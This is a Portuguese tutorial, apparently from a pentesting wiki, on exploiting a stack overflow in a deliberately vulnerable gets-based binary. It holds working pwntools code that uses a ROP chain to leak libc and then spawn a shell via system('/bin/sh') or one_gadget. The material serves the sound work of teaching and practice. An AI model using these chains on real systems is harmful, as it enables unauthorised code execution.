# Vazando endereço da libc com ROP
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## Resumo Rápido
1. **Encontre** o **offset** de overflow
2. **Encontre** o gadget `POP_RDI`, `PUTS_PLT` e `MAIN`
3. Use os gadgets anteriores para **vazar o endereço de memória** do puts ou outra função da libc e **encontrar a versão da libc** ([baixe aqui](https://libc.blukat.me))
4. Com a biblioteca, **calcule o ROP e explore-o**
## Outros tutoriais e binários para praticar
Este tutorial vai explorar o código/binário proposto neste tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Outros tutoriais úteis: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
## Código
Nome do arquivo: `vuln.c`
```c
#include
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Vazando o template LIBC
Vou usar o código localizado aqui para fazer o exploit.\
Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## 1- Encontrando o offset
O template precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que iriam sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../../.gitbook/assets/image (140).png>)
Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
`OFFSET = "A" * 40`
Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
## 2- Encontrando Gadgets
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada, e depois para **lançar o exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
O `PUTS_PLT` é necessário para chamar a **função puts**.\
O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (ciclos infinitos de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
O **POP\_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
## 3- Encontrando a biblioteca libc
Agora é hora de descobrir qual versão da **biblioteca libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
Para fazer isso, a linha mais importante do código executado é:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Isso enviará alguns bytes até que **sobrescrever** o **RIP** seja possível: `OFFSET`.\
Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT` como o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
Dessa forma, conseguimos **enganar a função puts** para **imprimir** o **endereço** na **memória** da função **puts** (que está dentro da biblioteca **libc**). Agora que temos esse endereço, podemos **procurar qual versão da libc está sendo usada**.
![](<../../../../../.gitbook/assets/image (141).png>)
Como estamos **explorando** algum binário **local**, **não é necessário** descobrir qual versão da **libc** está sendo usada (basta encontrar a biblioteca em `/lib/x86_64-linux-gnu/libc.so.6`).\
Mas, em um caso de exploit remoto, explicarei aqui como você pode encontrá-la:
### 3.1- Procurando pela versão da libc (1)
Você pode procurar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
Isso também permitirá que você baixe a versão descoberta da **libc**
![](<../../../../../.gitbook/assets/image (142).png>)
### 3.2- Procurando pela versão da libc (2)
Você também pode fazer:
* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`
Isso levará algum tempo, seja paciente.\
Para que isso funcione, precisamos:
* Nome do símbolo da libc: `puts`
* Endereço da libc vazado: `0x7ff629878690`
Podemos descobrir qual **libc** provavelmente está sendo usada.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
Obtemos 2 correspondências (você deve tentar a segunda se a primeira não funcionar). Baixe a primeira:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para nosso diretório de trabalho.
### 3.3- Outras funções para leak
```python
puts
printf
__libc_start_main
read
gets
```
## 4- Encontrando o endereço da libc baseado e explorando
Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, usarei apenas: `/lib/x86_64-linux-gnu/libc.so.6`
Então, no início do `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
Dando o **caminho** para a **biblioteca libc**, o restante do **exploit será calculado automaticamente**.
Dentro da função `get_addr`, o **endereço base da libc** será calculado:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Observe que **o endereço base final da libc deve terminar em 00**. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.
{% endhint %}
Então, o endereço da função `system` e o **endereço** da string _"/bin/sh"_ serão **calculados** a partir do **endereço base** da **libc** e dada a **biblioteca libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finalmente, o exploit de execução /bin/sh será preparado e enviado:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Vamos explicar este ROP final.\
O último ROP (`rop1`) terminou chamando novamente a função main, então podemos **explorar novamente** o **overflow** (é por isso que o `OFFSET` está aqui novamente). Então, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como um parâmetro.\
Finalmente, o **endereço da função exit** é **chamado** para que o processo **saia de forma adequada** e nenhum alerta seja gerado.
**Dessa forma, o exploit executará um \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../../.gitbook/assets/image (143).png>)
## 4(2)- Usando ONE\_GADGET
Você também pode usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar alguns valores NULL a mais para que a restrição seja evitada.
![](<../../../../../.gitbook/assets/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## Problemas comuns
### MAIN\_PLT = elf.symbols\['main'] não encontrado
Se o símbolo "main" não existir. Então você pode encontrar onde está o código principal:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
e defina o endereço manualmente:
```python
MAIN_PLT = 0x401080
```
### Puts não encontrado
Se o binário não estiver usando Puts, você deve verificar se está usando
### `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
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